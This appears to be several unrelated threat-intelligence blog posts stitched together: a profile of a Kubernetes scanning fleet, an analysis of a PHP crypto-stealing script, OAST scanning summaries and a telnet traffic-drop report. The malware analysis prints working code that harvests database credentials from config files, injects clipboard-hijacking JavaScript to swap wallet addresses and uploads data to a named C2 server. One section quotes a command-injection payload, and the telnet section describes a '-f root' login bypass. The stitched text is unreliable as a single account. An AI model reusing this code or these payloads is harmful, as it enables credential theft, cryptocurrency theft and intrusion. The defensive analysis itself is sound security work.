The Infrastructure

The BGP prefix 185.177.72.0/24 is registered in RIPE to FBW Networks SAS, 16 rue Grange Dame Rose, Vélizy-Villacoublay, France — allocated 2025-05-27. Our 90-day analysis window for this post opens in late December 2025.

To understand why this fleet is somewhat novel/special, it helps to understand what Censys found when it looked at all 74 observable hosts in the /24: every single one runs the same Debian 12 base image (confirmed via HASSH 425d29fe50d8e4f5e37efb6e24bcf660, uniform fleet-wide), the same OpenSSH 9.2p1 configuration, and – on the 22+ confirmed Kubernetes worker nodes – an identical JARM fingerprint on port 10250 (the kubelet API). That’s not coincidence. That’s a provisioning pipeline.

The certificates tell the story even more cleanly. Every worker node presents a self-signed TLS cert on its kubelet port with a systematic naming pattern: pkNN@<epoch>, where NN is a sequential node ID and the epoch timestamp matches the cert’s not_before field exactly. Node .49 holds cert pk01, provisioned 2025-12-30. Node .22 holds pk11, provisioned 2026-01-07. Twenty-five nodes numbered and timestamped in sequence – automated cluster lifecycle management, not a human typing openssl req in a terminal.

The CNI (Container Network Interface) of choice is Cilium. Two nodes expose Hubble observability ports (4244) with a shared *.kubernetes.hubble-grpc.cilium.io cert from the cluster’s internal Cilium CA. Cilium uses eBPF-based networking. The operator gets fine-grained traffic policy enforcement and — through Hubble — real-time visibility into every flow inside the cluster at the kernel level. You don’t stand up a full observability stack for a throwaway campaign. You stand it up because you want to know exactly which pods are producing which traffic, catch failures before they matter, and maintain operational discipline across a fleet that can’t afford to misbehave.

How do the pods talk to the internet? The JA4T fingerprint 65495_2-4-8-1-3_65495_7 answers that question. An MSS of 65495 only appears on loopback interfaces – the MTU is 65535, and subtract TCP/IP header overhead and you land at 65495. That fingerprint showed up on 304,807 sessions. What it means: kube-proxy or Cilium is routing outbound connections through localhost before NAT’ing them to the external interface. The pods aren’t talking to the internet directly. They go through the cluster’s networking layer first.

There’s also a 1380-byte MSS fingerprint (42780_2-4-8-1-3_1380_12) on 32,815 sessions. Standard Linux MTU is 1500 bytes; 80 bytes of overhead points squarely at VXLAN or WireGuard encapsulation. Some of this traffic traverses a tunnel inside the cluster before it exits.

The node breakdown:

Node .2 runs Elasticsearch on 9200 and 9300. Thirteen million sessions, indexed and queryable, so the fleet maintainers can fully analyze what they’ve captured and/or diagnose campaign issues.

The Tooling Stack

Nine IPs account for 96% of 13 million sessions, with load distributed between 8.7% and 12.9% per node – a spread consistent with Kubernetes DaemonSet or Deployment scheduling. The load distribution is too even to be anything else.

The tools, by observed user agent:

Curl handles the volume. l9explore and socketburst handle discovery. l9tcpid fingerprints services for the target list. The Chrome spoof (~15K sessions) gets used selectively where a browser UA gets different responses. This appears to be a part of a deliberate pipeline, moving from inventory collection to full-scale exploit operations.

The JA4H fingerprints confirm the split:

The POST fingerprint (2.09M sessions) maps directly to the n8n exploitation campaign. 16 headers on POST vs. 14 on GET tracks with the addition of Content-Type and payload headers.

The Lifecycle

The fleet’s activity across our 90-day observation window (chosen only for data convenience) follows a pattern consistent with a professional deployment.

Phase 1 – Commissioning (Dec 24 – Jan 2): Under 4,000 sessions/day. Infrastructure testing. The first week: 1,167 sessions total.

Phase 2 – Initial operations (Jan 3 – Jan 11): 12K–80K/day. First sustained scanning run, 275,885 sessions in the week of Jan 5. Core patterns established.

Phase 3 – Operational pause (Jan 12 – Jan 18): Volume drops to under 6,000/day. Either infrastructure reconfiguration or deliberate tempo management.

Phase 4 – Sustained scanning (Jan 19 – Feb 10): 10K–150K/day across two consecutive weeks. Building coverage, not sprinting.

Phase 5 – Full-scale operations (Feb 12 – Mar 23): The step-change. Daily volume: 50K–987K. Peak on February 23: 987,094 sessions – a 170x increase from the Phase 3 lull.

Weekly sessions in Phase 5:

Phase 5 began February 12. The US/Israel-Iran conflict started February 27. That’s a two-week gap we’ll come back to in a bit.

What the Fleet Is Actually Doing

Target Selection: The Conflict Angle

The fleet probes 47+ distinct sensor profile types with a pretty deliberate composition.

Perimeter and VPN devices:

Surveillance systems:

CyberAv3ngers is an IRGC-affiliated group with a documented pattern of targeting Dahua and Hikvision surveillance systems. Both are in this fleet’s top surveillance targets. That could be coincidence. The temporal alignment makes coincidence a less comfortable explanation.

Phase 5 escalation began February 12. The US/Israel-Iran conflict onset: February 27. Fifteen days prior, this fleet went from 150K sessions/day to a trajectory ending at 987K. A reasonable interpretation: pre-positioning. Establishing access breadth before a conflict window opens, so that selective exploitation can begin once it does. This comes from preliminary analysis – direct attribution to any state actor is not supported by the available data – but the combination of target selection, timing, and n8n/MuddyWater overlap is hard to set aside.

What You Can Do About It

GNQL Queries

Fleet overview (last 7 days):

metadata.asn:AS211590 last_seen:7d

n8n exploitation activity:

metadata.asn:AS211590 tags:"n8n CVE-2026-21858 Attempt" last_seen:7d

ENV crawling:

metadata.asn:AS211590 tags:"ENV Crawler" last_seen:7d

Core worker IPs:

ip:185.177.72.13 OR ip:185.177.72.49 OR ip:185.177.72.38 OR ip:185.177.72.23 OR ip:185.177.72.52 last_seen:7d

Surveillance persona targeting (Session Explorer):

sourceMetadata.asn:AS211590 AND gnMetadata.persona.name:("Dahua Camera" OR "Hikvision" OR "TrendNet IP Camera")

What to Watch

Watch the ramp-up tier. When the ~25 nodes in the .130–.158 range reach full production, the fleet’s daily ceiling moves substantially higher than the current 987K peak.

The n8n CVE chaining risk is real. CVE-2026-21858 provides unauthenticated file access; CVE-2025-68613 provides RCE via expression evaluation. A fleet already running 1M sessions against n8n endpoints that has access to a Metasploit module for the RCE follow-on is a meaningful threat to any exposed n8n instance.

We’ll continue tracking AS211590 activity. If the conflict-tempo hypothesis holds, the next escalation point should be visible in the session data before it shows up anywhere else.

Don’t Try This At Home

Having a link, and a file to download that was definitely going to be something unsavory, I did what I tell everyone I know not to do, and I purposely downloaded the file. I named it “shadyaf.txt” to remind myself to absolutely, under no circumstances, actually run the code in the file. So, what do we have?

@ini_set('output_buffering', '0');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
ob_implicit_flush(true);

// 确保错误显示开启
@ini_set("display_errors", "1");
@error_reporting(E_ALL);

// 设置脚本执行参数
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '1024M');

// 立即发送响应头，让客户端知道请求已接收
header('Content-Type: text/plain; charset=utf-8');
echo "脚本已启动，正在后台执行...\n";
echo "详细日志请查看: /tmp/" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown') . "db_script_error.log\n";

// 立即刷新输出缓冲区
ob_end_flush();
flush();

This is only the first few lines, for reasons that will soon become obvious.

@ini_set is a phpism, so we’ve got a good place from which to start. What do the comments say? No idea! While I’m studying Mandarin for situations exactly like this, my current skills are more “Hello, how are you? Thank you, goodbye!” and less “here is documentation.”

So, off to the online translator. I used Kagi Translate for this, but I’m sure google translate, deepL, or scanning the comments into pleco could get you there all the same.

Let’s take a look at the same code again, but next to the simplified Chinese comments I will insert the translation:

@ini_set('output_buffering', '0');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
ob_implicit_flush(true);

// 确保错误显示开启 -> Make sure error display is turned on
@ini_set("display_errors", "1");
@error_reporting(E_ALL);

// 设置脚本执行参数 -> Set script execution parameters
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '1024M');

// 立即发送响应头，让客户端知道请求已接收 -> Send the response headers immediately to let the client know the request has been received.
header('Content-Type: text/plain; charset=utf-8');
echo "脚本已启动，正在后台执行...\n"; //Script started, running in the background...
echo "详细日志请查看: /tmp/" . (isset($_SERVER['HTTP_HOST'])//For detailed logs, please check: /tmp/
 ?  $_SERVER['HTTP_HOST'] : 'unknown') . "db_script_error.log\n";

// 立即刷新输出缓冲区 -> Flush the output buffer immediately
ob_end_flush();
flush();

Pretty normal startup text, except putting logs in /tmp/ is an interesting choice. /tmp/ is the temporary folder on a Unix or Linux system, being a folder held in memory. When you turn the computer off, /tmp/ gets wiped. It’s a popular choice to store scripts and logs in /tmp/ if you would like whoever is running the computer to not know what you’re doing.

I then skimmed through more of the script. Usually, if I’m reading a script for the first time, I skim the parts that seem normal-ish and then use anything strange looking as a jumping off point to dig deeper. With that in mind, while there’s some interesting stuff about detecting pid numbers and php versions, I only paused when I found this line.

// ==================== 加密货币地址替换功能 ==================== ->Cryptocurrency address replacement feature
function execute_crypto_replacement() {
    db_log_error("开始执行加密货币地址替换功能");
    
    // 新的加密货币地址 ->New cryptocurrency address
    $new_addresses = аrrау ([
      'trc' => 'TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq',
      'eth' => '0x8f5514751585f37d5d4949b7673f420aafe7cfc4',
      'btc' => 'bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu',
      'btc1' => '1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN',
      'btc3' => '36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j',
    ]);
    
    $ocwd = "/www/wwwroot";
    $jsstr = base64_encode("(function(){function rca() {const tar = /(?:\\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\\b|[^A-Za-z0-9])/g,ear = /(?:\\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\\b|[^A-Za-z0-9])/g,bar = /(?:\\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\\b|[^A-Za-z0-9])/g,bar0 = /(?:\\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\\b|[^A-Za-z0-9])/g,bar1 = /(?:\\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\\b|[^A-Za-z0-9])/g,bar2 = /(?:\\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, '".$new_addresses['trc']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '".$new_addresses['eth']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '".$new_addresses['btc1']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '".$new_addresses['btc3']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, '".$new_addresses['btc']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, '".$new_addresses['btc']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();");
    $str = base64_encode("\$content=str_replace(\"</head>\",\"<script>".base64_decode($jsstr)."</script></head>\",\$content);");
    

As soon as I saw this and the translation, I sent a quick message to the team:

[1:56 PM]they commented their code, which is really sweet of them.  translating now

[1:59 PM]it's a crypto miner

So, what are we looking at?

Let’s go over it in smaller chunks.

// ==================== 加密货币地址替换功能 ==================== ->Cryptocurrency address replacement feature
function execute_crypto_replacement() {
    db_log_error("开始执行加密货币地址替换功能"); //Initiate cryptocurrency address replacement function
    
    // 新的加密货币地址 ->New cryptocurrency address
    $new_addresses = аrrау ([
      'trc' => 'TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq',
      'eth' => '0x8f5514751585f37d5d4949b7673f420aafe7cfc4',
      'btc' => 'bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu',
      'btc1' => '1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN',
      'btc3' => '36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j',
    ]);

The nicely-bannered name of this function tells us that we are going to be replacing some cryptocurrency wallet addresses. We then get an array of cryptocurrency wallets.

The first wallet was confusing at first. I recognized TRC as the short name for terracoin, but that’s not a valid wallet value for it. Turns out it’s TRON.

The second wallet is ethereum, the third wallet is bitcoin, and the wallets labelled ‘btc1’ and ‘btc3’ (they couldn’t have kept their numbering scheme the same?) are polyglot wallets, working for both bitcoin and the rapid transaction-ready bitcoin cash coin.

We will look at these wallets in a little bit. Trust me, it gets fun. For now, we’re going to put this info in our back pocket and keep looking at interesting parts of the script.

“What else is there?” -Prince Derek, The Swan Princess (1994)

One other oddity in this script is how it looks for database config files.

    // ==================== 数据库配置文件解析函数 ==================== ->Database configuration file parsing function
    function db_parsePhpArrayConfig($content, $file) {
        db_log_error("尝试解析PHP数组配置: " . basename($file));
        
        if (!preg_match('/return\s*\[\s*(.*?)\s*\]\s*;/s', $content, $arrayMatch)) {
            return [];
        }

        $dbConfig = [
            'hostname' => 'localhost',
            'database' => '',
            'username' => '',
            'password' => '',
            'hostport' => '3306'
        ];
        
        $patterns = [
            'hostname' => "/'hostname'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
            'database' => "/'database'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
            'username' => "/'username'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
            'password' => "/'password'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
            'hostport' => "/'hostport'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/"
        ];

So, it looks for config files for thinkPHP, using some regex to find keys and values for the hostname, database name, username, password and port number. It’s what I would do if I was trying to read as much info as possible, but one part stuck out to me as weird.

After looking for this info, it has a specific function to make sure it’s looking at ThinkAdmin databases.

        $isThinkAdmin = (strpos($content, 'ThinkAdmin') !== false || 
                        (strpos($content, 'zoujingli/ThinkAdmin') !== false));
        
        if (!empty($foundKeys['database']) && !empty($foundKeys['username'])) {
            db_log_error("成功解析PHP数组配置"); //->Successfully parsed PHP array configuration
            return [[
                'type' => $isThinkAdmin ? 'thinkadmin' : 'php_array',
                'config' => $dbConfig
            ]];

ThinkAdmin is management software for ThinkPHP, which is itself a PHP framework as part of the Think suite of tools.

So, it’s looking for ThinkAdmin so it knows what to look for. I am not an expert in PHP by any stretch of the imagination but, given all the sites related to this being written in Chinese (simplified) my guess is that Think* programs are mostly aimed at a Chinese audience. The plot thickens!

Or does it?

Fear not, American web developer, they’ve got you covered.

 function db_parseWordPressConfig($content, $file) {
        $basename = basename($file);
        if ($basename !== 'wp-config.php') return [];
        
        db_log_error("尝试解析WordPress配置: $basename"); //->Attempting to parse WordPress configuration
        
        $dbConfig = array(
            'hostname' => 'localhost',
            'database' => '',
            'username' => '',
            'password' => '',
            'hostport' => '3306'
        );

They also look for Wordpress php databases 🙂

They actually look for and parse a lot of files. Here’s the list from the main parsing function:

        $parsers = [
            'db_parseWordPressConfig',
            'db_parseThinkPhpConfig',
            'db_parseNestedPhpConfig',
            'db_parsePhpArrayConfig',
            'db_parseEnvDefaultConfig',
            'db_parseEnvSectionConfig',
            'db_parseEnvConfig',
            'db_parseIniConfig',
            'db_parseDefineConfig',
            'db_parseFallbackConfig'
        ];

This cryptostealer is more thorough about edge case configs than I am when I’m writing code for myself, but I’m trying not to let that bum me out too much.

But what’s it trying to do with all this database info? So glad you asked!

    // ==================== 数据库替换主逻辑 ====================->Main database replacement logic
    try {
        db_log_error("===== 数据库替换主逻辑开始 ====="); //->Database replacement main logic start
        echo "=== 数据库扫描与替换脚本 ===\n"; //->Database scan and replace script
        echo "版本: 2024-05-20 (修复版 - 严格长度检测)\n\n"; //->Version: 2024-05-20 (Fixed Version - Strict Length Detection)

First, it looks for your databases. Then, it assigns a unique id to each and tries to connect over mysql. Assuming it succeeds in that, it shows you a list of all the tables it found.

                // 获取所有表 ->Get all tables
                $tables = array();
                $result = $conn->query("SHOW TABLES");
                if (!$result) {
                    echo "  [!] 获取表列表失败: " . $conn->error . "\n"; //->Failed to retrieve table list
                    db_log_error("SHOW TABLES失败: " . $conn->error); //->SHOW TABLES failed
                    $conn->close();
                    continue;

After enumerating your databases and listing all your tables, it pulls some “sample data” from each table.

After that, you get an extremely ominous function.

    // ==================== 数据库替换主逻辑 ==================== ->Main database replacement logic
    try {
        db_log_error("===== 数据库替换主逻辑开始 ====="); //->Database replacement main logic start
        echo "=== 数据库扫描与替换脚本 ===\n"; //->Database scan and replace script
        echo "版本: 2024-05-20 (修复版 - 严格长度检测)\n\n"; //->Version: 2024-05-20 (Fixed Version - Strict Length Detection)

It goes through each of your databases, ini files, config files and .env files and, using user-submitted rules, methodically goes through and replaces every matched entry with whatever you want it to say.

What is the typical replacement data? I’m not sure at the moment. It could be a ransom note, or replacing more crypto wallets with the script’s wallets, or making data just a little bit wrong to throw off some larger process that I’m otherwise not seeing.

Either way, this has a timestamp and “fixed version,” implying some amount of project maintenance and bug squashing done by whoever is using this.

After doing its thing, it packs up the table info, collected samples, log files, pid files and client info and uploads to a command and control server.

$url = 'http://c2c.deepgtp.net:39010/api/upload';

The c2c subdomain is an nginx server on ubuntu on a server in japan, per URLScan. I was curious what the top level domain looked like, so I tried www as well. Turns out their www is in a tencent datacenter in singapore. Neat!

….also neat is what their www domain is saying.

mail.deepgtp.net API Gateway

Available endpoints:
- GET/POST /api/email/verify
- GET /health

A mail server, you say? Let’s jiggle the doorknobs. I connected to our slightly shady VPN and followed the instructions on the website.

localhost% curl --request GET --url https://mail.deepgtp.net/health
{"status":"ok","stored_emails":7}

curl --request GET --url https://mail.deepgtp.net/api/email/verify
{"detail":"Method Not Allowed"}dig mail.deepgtp.net/health

; <<>> DiG 9.20.18 <<>> mail.deepgtp.net/health
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 62317
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4095
;; QUESTION SECTION:
;mail.deepgtp.net/health.       IN      A

;; AUTHORITY SECTION:
.                       86399   IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2026021102 1800 900 604800 86400

;; Query time: 39 msec
;; SERVER: 100.100.100.100#53(100.100.100.100) (UDP)
;; WHEN: Wed Feb 11 23:23:46 EST 2026
;; MSG SIZE  rcvd: 127

Interesting. No immediately visible MX server. I wonder if they’re actually using an email protocol or if it’s a front end for sending log files. I tried sending a GET request and a POST request to the upload api endpoint to see if I got any message, but didn’t get one.

Follow The Money

Now that we’ve gone over the script and tried to spy on the c2 server, let’s get back to those crypto wallets.

Counting two extra wallet addresses from the bottom of the script, we have the following wallets:

BTC:
btc:bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu
btc1:1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN
btc3:36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j

ETH:
eth1:0x8f5514751585f37d5d4949b7673f420aafe7cfc4
eth2:0x77843290a868e4F789619D8B4D2074BD5DF4C91d

TRON:
tron1:TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq
tron2:TAM8cBHRFTwVi4o18iQzyUL4JxujyZMPik

What activity are we seeing on these wallets?

The first bitcoin wallet listed was part of a 105 wallet transfer from a much larger wallet. That wallet only gained $126, but the total moved out of the larger wallet was over 12,000 dollars. That’s huge!

The second wallet had no activity.

The third wallet had some activity, though not as much.

The first ethereum wallet had no transactions. The second wallet had several small transactions from other wallets going into it

The first tron wallet has smaller transactions. The second wallet has $2527.77, mostly in tethered USD token, a stablecoin meant to have a 1:1 value ratio with the US dollar.

The charts tell an interesting story. Let’s start with the bitcoin wallets.

To the right are the wallets from the script. To the left are direct transfers into those wallets.

I find it hard to keep track of wallet names when they’re all just the wallet address, so I started labelling them the names from the Super Famicom game Fighting Baseball, infamous for having wonderfully absurd American-ish names.

Things quickly got out of hand.

It hurts my eyes to try and look at all this, so let’s zoom in on some transactions I find personally interesting.

Here is something that stuck out to me. I’ve colored transactions from exchange wallets in green and peer to peer transactions in blue.

On the 9th of February, we see Todd Bonzalez send 11.70 bitcoin to Raul Chamberlain. The high price for bitcoin on the 9th was $71,369.97 USD, meaning this transaction was for a whopping $835,028.65.

Later that same day, Mark Smoth sends 4.30 bitcoin to Raul, which amounts to about $306,890.87. Three days later, Raul sends Todd 0.0001000 BTC, or about 7 bucks.

Weird! But not directly related to the wallets listed in the script. Let’s get back on track.

On January 11th, the wallet labelled “btc” gets $45-$50 each from Onson Sweemey, Darryl Archidald and Sleve McDichael. Why is it all at the same time?

The wallet labelled “btc3” got a hundred bucks from Anatoli Smorin on the third, and is otherwise pretty quiet on the income front.

btc1 is not getting a piece of this pie. Maybe it’s an offline cold wallet? It has no transactions listed online.

Now, let’s see our outbounds.

Btc and btc 3 each send about 150 bucks to the OKX crypto exchange and Sam Quitter, respectively. Again, no activity from btc1, which makes me suspect a cold wallet.

Let’s look at the ethereum wallets!

The first thing I learned is that the first ethereum wallet listed is actually used for Binance Smart Contract coin.

The second thing I learned is that it’s mostly small transactions to and from existing exchanges. Small personal wallet trying to get in on the action maybe?

The second ethereum wallet is the good stuff, though.

They buy a little over $1000 worth of USDcoin, USD Tether and Ethereum, mostly from exchanges or swap wallets (basically a way to try and avoid “gas”, or process fees, through direct trading) before sending a tidy package of about $300 worth of ethereum to the metamask swap router. Metamask is a popular wallet, but also super popular among scammers because it has a reputation for less experienced users and less strict security measures. Metamask was the wallet of choice among NFT-stealing scams during that weird period.

Yes, I am as ashamed of myself for knowing this much about ethereum as you might think. But, job’s gotta be done, and cryptocurrency isn’t referred to as “solving sudoku to buy drugs” for nothing, so I keep tabs on the cryptocurrency scene.

What can we make of all this?

It seems like the operator of this script has had a fairly successful crypto stealing operation for a minimum of 2 years. They have multiple crypto wallets, operate servers across Hong Kong, Japan and Singapore, and their crypto wallets exhibit transaction behavior similar to what I’ve seen if someone is trying to tumble their coins in between their hot and cold wallets.

The IP address for the malware script was based in Hong Kong, but the comments in the script are in simplified Chinese, which is mostly a thing in China and Singapore. This could mean a Chinese or Singaporean developer, writing comments in the language they know (though English is very popular in Singapore as a lingua franca), a developer in Hong Kong or elsewhere writing in mandarin with the simplified character set to throw people off their trail, or could indicate the use of large language models, which tend to default “chinese” as Mandarin with the simplified character set.

Whatever the true face of this malware developer is, we now have an idea who how they operate, where they operate from, and what kinds of websites they like to target.

As for the backwards base64, boB sent me this link that shows exactly what we were looking at. The bot exploits a system, gets nice and cozy, then encodes their request to the refresh and exfiltration script in base64, reverses the string, and makes it look like a cookie value. That indicates that this was either an already-infected system (bad news for our honeypot), or they entered the wrong IP address when sending the request (bad news for the operator).

A rose by any other name would steal crypto just as openly.

Historically, Greynoise does not do attribution. However, in my own notes I’ve been naming whoever is operating this thing Aobrej, which is Jerboa backwards.

The Jerboa is an elephant-eared mouselike rodent. The group targets PHP, which has an elephant mascot, and reversing their download command and hiding it as a cookie value made me think of the book “If You Give a Mouse a Cookie” by Laura Joffe Numeroff. So, take something that is an elephant and a mouse, make it backwards, you got Aobrej.

I’ll post followups if I see anything else that looks like Aobrej. For now, I’m going to go get some sleep.

Overview

Between February 14 and February 20, 2026, GreyNoise sensors recorded 5,695 OAST domain occurrences across 3,882 distinct sessions originating from 24 unique source IPs. All 5,695 rows decoded successfully (100% decode rate) using the Interactsh encoding scheme, yielding 33 distinct campaign identifiers and 5,560 unique callback domains.

OAST domains appeared across multiple HTTP fields: request bodies (1,724 occurrences, 30.3%), request header values (1,389, 24.4%), request cookies (1,284, 22.5%), URI paths (1,063, 18.7%), user-agent strings (149, 2.6%), and URL paths (86, 1.5%). Compared to the previous week, cookie-based injection increased from 4.7% to 22.5%, indicating a shift in scanning toolkit configurations toward cookie-based payload delivery.

JA4T TCP fingerprint analysis from session data identified 12 unique fingerprints. The Nuclei/loopback cluster (MSS 65495) remains dominant at 2,547 sessions across 15 IPs. Standard Linux signatures (MSS 1460) accounted for 669 sessions. Two anomalous fingerprints provide high-confidence actor tracking: window size 32120 (Private Layer custom stack) and TCP options 2-1-1-4-1-3 (AnchorFree VPN node).

Seven multi-fingerprint IPs indicate dual-tool deployment. The most notable is 80.87.206.76 (OVH/Alliance LLC Moscow) with 941 sessions split across two Nuclei variants (65495 window: 913 sessions; 33280 window: 28 sessions).

tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d

metadata.asn:AS51852 last_seen:7d classification:malicious

metadata.asn:AS14956 last_seen:7d classification:malicious

cve:CVE-2026-0770 last_seen:7d

cve:CVE-2026-1731 last_seen:30d

ip:179.43.146.42 OR ip:45.61.131.28 OR ip:80.87.206.76 OR ip:46.151.182.62

Overview

OAST domains appeared across multiple HTTP fields: request bodies (4,331 occurrences, 52.8%), URI paths (1,709, 20.8%), request header values (1,272, 15.5%), URL paths (392, 4.8%), cookies (383, 4.7%), and user-agent strings (122, 1.5%). The distribution across multiple injection vectors indicates automated vulnerability scanning toolkits that embed callback domains into every exploitable parameter.

Five Interactsh domain variants were observed: oast.pro (4,182 occurrences across 22 campaigns), oast.live (1,970, 21 campaigns), oast.fun (857, 16 campaigns), oast.me (767, 11 campaigns), and oast.site (433, 13 campaigns). All domains used the standard Interactsh encoding format with campaign, machine_id, PID, and nonce fields.

JA4T TCP fingerprint analysis (sourced from raw session data) identified three dominant infrastructure clusters: a Cloudflare proxy signature (MSS 1380, 2,973 sessions), a standard Linux stack (MSS 1460, 1,124 sessions), and an anomalous localhost-like signature (MSS 65495, 1,276 sessions across two window size variants) characteristic of Nuclei and similar scanning frameworks.

NOTE: This edition contains a supplemental deep-dive into selected OAST infrastructure components section.

/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue,et=1770526185,
h=gPath[`dig <OAST_DOMAIN> > /dev/null`]/39IUqFPJtv5RscnibeX4OUpsHTa.ipa

tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d

metadata.asn:AS200593 last_seen:7d

metadata.asn:AS31898 last_seen:7d tags:"Contains Well-known Out-of-band Interaction Domain"

raw_data.ja3.fingerprint:11a384388ad36777e1a2e121495037fe last_seen:7d

tags:"Ivanti Endpoint Manager Mobile Code Injection CVE-2026-1281 RCE Attempt" last_seen:7d

metadata.asn:AS215540 last_seen:7d

Supplemental Threat Intelligence Enrichment For Selected OAST Infrastructure

The Drop

From December 1, 2025 through January 14, 2026, GreyNoise observed an average of ~914,000 non-spoofable telnet sessions per day across 51.2 million total sessions — let’s call that the “baseline”.

On January 14 at 21:00 UTC, hourly volume dropped 65% in a single tick. Within two hours it had fallen 83% below baseline. The new average settled around ~373,000 sessions/day — a 59% sustained reduction that persists through the time of writing (February 10).

This wasn’t a taper. The hourly data around the inflection point tells the story:

That kind of step function — propagating within a single hour window — reads as a configuration change on routing infrastructure, not behavioral drift in scanning populations.

What Went Silent

Eighteen ASNs with significant pre-drop telnet volume (>50K sessions each) went to absolute zero after January 15. Some of the names that stand out:

• Vultr (AS20473) — 382K pre-drop sessions, then nothing
• Cox Communications (AS22773) — 150K sessions, gone
• Charter/Spectrum (AS20115) — 141K sessions, gone
• BT/British Telecom (AS2856) — 127K sessions, gone

Five entire countries vanished from GreyNoise telnet data: Zimbabwe, Ukraine, Canada, Poland, and Egypt. Not reduced — zero.

Meanwhile, the major cloud providers were largely unaffected or even increased. AWS went up 78%. Contabo up 90%. DigitalOcean essentially flat at +3%. Cloud providers have extensive private peering at major IXPs that bypasses traditional transit backbone paths. Residential and enterprise ISPs typically don’t.

Where’s the Filter?

The pattern points toward one or more North American Tier 1 transit providers implementing port 23 filtering:

The timing — 21:00 UTC, which is 16:00 EST — is consistent with a US-based maintenance window. US residential ISPs (Cox, Charter, Comcast at -74%) were devastated while cloud providers on the same continent peered around whatever changed. Verizon/UUNET (AS701) dropped 79%, and as a major Tier 1 backbone, that’s consistent with it either being the filtering entity or sitting directly upstream of one. The 21% residual traffic on AS701 would represent paths that don’t transit the filtered links.

Countries that rely on transatlantic or transpacific backbone routes to reach US-hosted infrastructure got hit hardest. Countries with strong direct European peering (France at +18%, Germany at -1%) were essentially unaffected.

The Chinese backbone providers (China Telecom and China Unicom) both dropped ~59%, uniformly. That uniformity suggests the filter sits on the US side of transpacific links rather than within China. If this were a Chinese firewall action, we’d expect asymmetric impact across Chinese carriers and a harder cutoff.

Then Came the CVE

CVE-2026-24061 is a critical (CVSS 9.8) authentication bypass in GNU Inetutils telnetd. The flaw is an argument injection in how telnetd handles the USER environment variable during telnet option negotiation. An attacker sends -f root as the username value, and login(1) obediently skips authentication, handing over a root shell. No credentials required. No user interaction. The vulnerable code was introduced in a 2015 commit and sat undiscovered for nearly 11 years.

The timeline:

The six-day gap between the telnet drop and the public CVE disclosure is the interesting part. On its face, the drop can’t have been caused by the CVE disclosure, because the drop happened first. But “caused by” isn’t the only relationship worth considering.

The Supposition

Responsible disclosure timelines don’t start at publication. The researcher who found this (credited as Kyu Neushwaistein / Carlos Cortes Alvarez) reported the flaw on January 19, per public sources. But the coordination that leads to patches being ready, advisories being drafted, and CISA being prepared to add something to the KEV within six days of publication typically starts earlier than the day before disclosure.

